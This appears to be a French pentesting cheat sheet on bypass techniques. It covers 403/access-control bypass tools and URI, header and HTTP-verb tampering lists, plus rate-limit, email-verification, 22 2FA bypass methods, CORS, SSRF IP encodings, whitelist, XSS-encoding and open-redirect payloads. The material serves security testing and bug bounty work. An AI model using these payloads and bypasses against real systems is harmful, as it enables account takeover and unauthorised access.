🔓Bypass

Outils dédiés aux bypass en tout genre

Sites:

Dontgo403

Dontgo403 est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques.

Exemple d'utilisation:

$ ./dontgo403 -u https://target.com/private

ressource: https://github.com/devploit/dontgo403

Byp4xx

Byp4xx est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques (verb tampering, headers, custom user agents, tips de bug bounty).

Exemple d'utilisation:

$ ./byp4xx.py https://target.com/private

ressource: https://github.com/lobuhi/byp4xx

403-bypass

403-bypass est un outil ayant la même utilité que byp4xx

Exemple d'utilisation:

$ python3 403-bypass.py -u https://target.com -p private

ressource: https://github.com/channyein1337/403-bypass

​Bypass-url-parser

Bypass-url-parser est un outil permettant de tenter de contourner les restrictions via manipulation de l'url.

Exemple d'utilisation:

$ ./bypass-url-parser.py -u https://target.com/secret

ressource: https://github.com/laluka/bypass-url-parser

Recollapse

REcollapse est un outil d'aide au fuzzing des regex en boîte noire pour contourner les validations et découvrir les normalisations dans les applications Web.

Exemple d'utilisation:

$ recollapse https://target.com/secret

ressource: https://github.com/0xacb/recollapse

hakoriginfinder

Outil pour découvrir l'hôte d'origine derrière un proxy inverse. Utile pour contourner les WAF cloud.

Exemple d'utilisation:

$ prips <IP range>/24 | hakoriginfinder -h target.com

ressource: https://github.com/hakluke/hakoriginfinder

Jwt_tool

Jwt_tool est un outil permettant vérifier, scanner et falsifier des Json Web Token à la recherche de failles connues.

Exemple d'utilisation:

$ python3 jwt_tool.py <JWT>

ressource: https://github.com/ticarpi/jwt_tool

JSON Web Token Burp Suite extension

Il existe une extension dans burp suite permettant de manipuler les JWT.

ressource: https://github.com/portswigger/json-web-tokens

TIPS

Si un fichier est protégé, essayer de le fuzz avec des extensions de backup.

backup
bck
old
save
bak
sav
~
copy
old
orig
tmp
txt
back

Rate limit Bypass

Headers Bypass

Juste en dessous du header "Host:", utiliser l'un (ou parfois plusieurs) de ces headers:

  1. X-Forwarded-For : IP

  2. X-Forwarded-Host : IP

  3. X-Client-IP : IP

  4. X-Remote-IP : IP

  5. X-Remote-Addr : IP

  6. X-Host : IP

Avec des caractères

  1. L'ajout d'un octet nul (%00) à la fin d'un e-mail peut parfois contourner la limite de débit.

  2. Essayez d'ajouter un espace après un e-mail. ( Non codé )

  3. Quelques caractères communs qui aident à contourner la limite de débit : %0d , %2e , %09 , %20 ...

Avec une redirection

Si une page incorrecte redirige vers la page testé, changer le Host Header peu parfois permettre de contourner un rate limit.

Email verification bypass

  • Créer un compte avec un email

  • un lien de vérification sera envoyé

  • ne pas le suivre et changer l'email par celui d'une victime

  • Suivre le lien envoyé par mail

  • Si l'email de la victime est vérifié au lieu du votre alors il y a usurpation

Simple Bypass

Lorsqu'on a plusieurs étapes par exemple comme c'est le cas lors d'un achat en ligne, tenter de passer une étape.

Exemple:

/step/shipping/

/step/payment/

/step/confirm/

Essayer d'ajouter api devant un nom de domaine.

Exemple:

/target.com/users/ Forbidden

/api.target.com/users/ OK

Essayer d'ajouter .json à la fin de l'url.

Exemple:

/target.com/users/data Forbidden

/target.com/users/data.json OK

Si vous repérez une API avec une version dans l'url, essayer d'utiliser une version obsolète.

Exemple:

/target.com/v2/users/data Forbidden

/target.com/v1/users/data OK

Si vous avez une API, essayer d'ajouter internal à l'URL.

/target.com/v1/users/data Forbidden

/targer.com/v1/internal/users/data OK

Pour les paramètres en "id:XXX", essayer de mettre l'id dans un tableau.

Exemple:

/target.com/user.php?id=XXX Forbidden

/target.com/user.php?id=[XXX] OK

Essayer de le passer en tant qu'objet json.

/target.com/user.php?id=XXX Forbidden

/target.com/user.php?{"id"=XXX} OK

Essayer de passer par un id légitime.

/target.com/user.php?id=<victime> Forbidden

/target.com/user.php?id=<légitime>&id=<victime> OK

Essayer de fuzz le paramètre.

Exemple:

/target.com/user.php?id=FUZZ

Verb tampering

Essayer toutes les méthodes HTTP.

GET 
COPY
OPTIONS
PUT
TRACE
POST
SEARCH
MOVE
PATCH
ACL
ARBITRARY
BASELIN-CONTROL
CHECKIN
CHECKOUT
CONNECT
HEAD
LABEL
LOCK
MERGE
MKACTIVITY
MKCOL
MKWORKSPACE
ORDERPATCH
PROPFIND
REPORT
UNCHECKOUT
UNLOCK
UPDATE
VERSION-CONTROL

Method override

Via header

X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-HTTP-Method:
X-Method-Override:
X-HTTP-Method:
X-Method-Override:

Via parametre

_method=
method= 
httpMethod= 
_HttpMethod=

Header injection

Referer:
X-Custom-Ip-Authorization:
X-Original-URL:
X-Rewrite-URL:
X-Originating-IP:
X-Forwarded-For:
X-Remote-IP:
X-Client-IP:
X-Host:
X-Forwarded-Host:

Essayer les headers en IP avec les plages suivantes:

  • 192.168.0.0/16

  • 172.16.0.0/12

  • 127.0.0.0/8

  • 10.0.0.0/8

URI tampering

/target.com/private
/target.com/private/
/target.com/private//
/target.com/private/*
/target.com/private./.
/target.com/private/*/
/target.com/private&
/target.com/private#
/target.com/private%
/target.com/private%09
/target.com/private../
/target.com/private..;/
/target.com/private..%2f
/target.com/private../.
/target.com/private..%00/
/target.com/private..%0d
/target.com/private..%5c
/target.com/private..%ff/
/target.com/private%2e%2e%2f
/target.com/private.%2e/
/target.com/private%3f
/target.com/private%26
/target.com/private%23
/target.com/private.json
/target.com/private.xml
/target.com/*private
/target.com/*private/
/target.com./.private
/target.com/%20private/
/target.com/%20private%20/

#nginx
/target.com/admin -> 404
/target.com/#/../../admin -> 200
...
...

ISP bypass

via le service Google translate

https://evil.com/ Bloqué

https://evil.com.translate.goog/ Bypass

2FA bypass / manipulation / abus

Méthode 1:

Changer le code 4XX en code 200 OK.

Méthode 2:

  • Intercepter la demande de 2FA avec burp

  • Forward la requête

  • Regarder si il n'y a pas de leak en réponse

Méthode 3:

Chercher d'éventuels leaks dans les fichiers JS.

Méthode 4:

Vérifier si on peu utiliser plusieurs fois le même code.

Méthode 5:

  • Vérifier si il y a un rate limit en tentant de brute force le code.

  • Tenter des contournements de rate limit génériques.

  • Vérifier si la fonction de resend ne réinitialise pas le compteur.

Méthode 6:

Vérifier si changer de mot de passe ou d'email désactive le 2FA.

Méthode 7:

Tester s'il est possible d'utiliser du clickjacking avec des iframes pour forcer l'utilisateur à désactiver son 2FA.

Méthode 8:

Tenter d'utiliser un code "null" ou "000000"

Méthode 9:

Tenter de passer la page de 2FA (https://target.com/login => https://target.com/account)

Utiliser le header referer pour faire croire à l'application qu'on est bien passé par cette étape.

Exemple:

GET /account

Host: target.com

Referer: https://target.com/login

Méthode 10:

Utiliser le code de validation de l'attaquant sur le compte d'une cible.

Méthode 11:

Essayer de générer 2 codes de vérifications pour le même compte et regarder si celui-ci est bien changé à chaque demande.

Méthode 12:

Vérifier si la génération du code est basé sur le moment de la demande en envoyant la demande exactement au même moment. (race condition)

#Script python

import requests
url = "https://target.com/login"
headers = {}
target ={"LOGIN": "<login target>", "PASS": "<password>"}
attacker ={"LOGIN": "<login attacker>", "PASS": "<password>"}
requests.post(url, headers=headers, data=target, verify=False)
requests.post(url, headers=headers, data=attacker, verify=False)

Méthode 13:

Manipulation des méthodes HTTP, URL, Paramètres (aléatoires ou malformés)

Méthode 14:

Se connecter sur des navigateurs différents puis vérifier si activer ou modifier les paramètres de 2FA déconnecte la première session.

Méthode 15:

Vérifier la requête d'authentification avec puis sans 2FA permet parfois de relever quelques informations utiles.

Méthode 16:

Dans le cas ou le 2FA serait géré avec une appli mobile tier type Google authenticator. L'application devrait vous donner des codes de backup uniques à sauvegarder.

Dans ce cas, sélectionner la connexion avec le code de backup et vérifier la bonne validation de la fonctionnalité en entrant un code aléatoire. (Avec un peu de chance aucune vérification n'est faite)

ressource: https://medium.com/@ultranoob/weird-and-simple-2fa-bypass-without-any-test-b869e09ac261

Sans

Requête:

{"email" : "abc@gmail.com" , "password" : " abc1234" , "mfa" : null , "code" : ""}

Réponse:

Location: https://target.com/user/dashboard

Avec

Requête:

{"email" : "abc@gmail.com" , "password" : " abc1234" , "mfa" : true , "code" : ""}

Réponse:

Location: https://target.com/v1/proxy/authentication/authenticate

Dans ce cas, peut-être que si on modifie la requête en envoyant ceci avec le 2FA d'activé on pourra bypass le bypass.

{"email" : "abc@gmail.com" , "password" : " abc1234" , "mfa" : null , "code" : ""}

ou en allant directement sur le lien vers le dashboard.

Méthode 15:

  • Envoyer une demande de mot de passe oublié ave 2FA.

  • Entrer un mauvais code de vérification.

  • Si un code d'erreur est généré dans l'url, essayer de changer la valeur de ce code.

Méthode 16:

Si après plusieurs demandes de vérification sont raté, il arrive que certains site demande de se connecter avec username et password après 3 code de vérification raté par exemple.

Dans ce cas voici une technique pour bypass cette méthode.

Dans burp:

Récupérez les page de login et de vérification GET et POST dans le HTTP history.

Allez dans "Projet options" puis dans Session handling rules cliquez sur "Add"

Dans scope choisissez "include all URLs"

Ensuite, dans Details > Rule Actions, cliqez su "Add".

Sélectionnez les requêtes:

  • GET /login

  • POST /login

  • GET /verification

Cliquez sur "OK" puis sur "Test macro", dans la réponse à la requête POST /verification, sélectionnez le dtexte de la demande de code (Veuillez entrer le code de vérification 4-digit)

Retournez dans Proxy > HTTP history.

Envoyez le POST /verification dans "Intruder".

Bruteforce le paramètre contenant le code de 0000 à 9999.

Méthode 17:

  • 2FA implémenté en api REST (exp: /rest/login)

Exp: { "username":"user","pass":"password":"SecurityToken":"173572537"}

  • Vérifier si un des endpoints accepte SOAP (exp: /endpoint/Soap/version).

  • Si c'est le cas, écrire un message sans SecurityToken et envoyer la requête.

Exp:

<SOAP-ENV:Envelope xmlns:se="">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<login xmlns="">
<username>user</username>
<password>password</password>
</login>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

  • Si les développeurs ont oublié d'implémenter le 2FA dans les endpoints SOAP alors vous devriez être connecté

Méthode 18:

  • Changer d'adresse email

Si un lien est envoyé à l'ancien email pour prévenir du changement et qu'il y a un lien permettant d'annuler le changement,

  • Suivre le lien (si il redirige vers la page de connexion)

  • Entrer ses identifiants

Si le second facteur n'est pas demandé alors la manipulation a fonctionné.

Méthode 19:

Vérifier si il existe une API d'une ancienne version qui n'avait pas encore le 2FA.

Méthode 20:

Vérifier la durée de validité du code.

Méthode 21:

Vérifier si passer par un lien tier contourne la demande de 2FA (lien de réinitialisation de mot de passe, lien dans une newsletter...)

Méthode 22:

Si utilisation de OAuth, tenter de se connecter en OAuth via un sous-domaine et vérifier si la demande de 2FA est effectuée.

Mindmap

CORS bypass

  • Origin:null

  • Origin:attacker.com

  • Origin:attacker.target.com

  • Origin:attackertarget.com

  • Origin:sub.attackertarget.com

  • Origin:attacker.com et changer la méthode HTTP GET => POST / POST => GET

  • Origin:sub.attacker target.com

  • Origin:sub.attacker%target.com

  • Origin:attacker.com/target.com

SSRF bypass

Si les IP sont blacklistés, il est possible d'essayer de les bypass de ces façons.

Exemple pour IP 127.0.0.1:

http://127.0.1
http://127.1
http://0.0.0.0
http://0.0.0.0::1
http://0.0.0.0::1:25
http://0.0.0.0::1:22
http://0.0.0.0::1:3128
http://0
http://0x7f000001
http://213070433
http://3232235521
http://3232235777
http://2852039166
http://017700000001
http://[::]:80
http://0o177.0.0.1

Whitelist bypass

exemple: "function url must be function.target.com"

bypass:

  • https://localhost@function.target.com

  • https://localhost#@function.target.com ("#" pour essayer d'enlever le @function.target.com de la requête)

  • https://localhost%2523@function.target.com (avec le "#" double encodé)

XSS bypass

Il arrive parfois que des entreprises remédient à des XSS en encodant les sorties utilisateur.

Il est donc important d'essayer vos payloads encodés avec burp suite par exemple.

Exemple:

<img src=x onerror=prompt(document.domain)>

devient

%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E

Ou (double encodé)

%253Cimg%2520src%253Dx%2520onerror%253Dprompt%2528document.domain%2529%253E

Open redirect

  • target[.]com/?redirect=evil[.]com => Warning site

  • target[.]com/?redirect=evil[.]cOm => OK

Autre

Accès à la console d'administration

Il existe parfois un paramètre debug dans un endoint pouvant parfois permettre de bypass une restriction d'accès.

Exemple:

  • debug=true

  • _debug=true

  • debug=1

  • _debug=1

target.com/admin/console => 403 forbidden

target.com/admin/console?debug=true => 200 OK

PrécédentPath Traversal / LFI / RFISuivantWAF / Filter bypass

Dernière mise à jour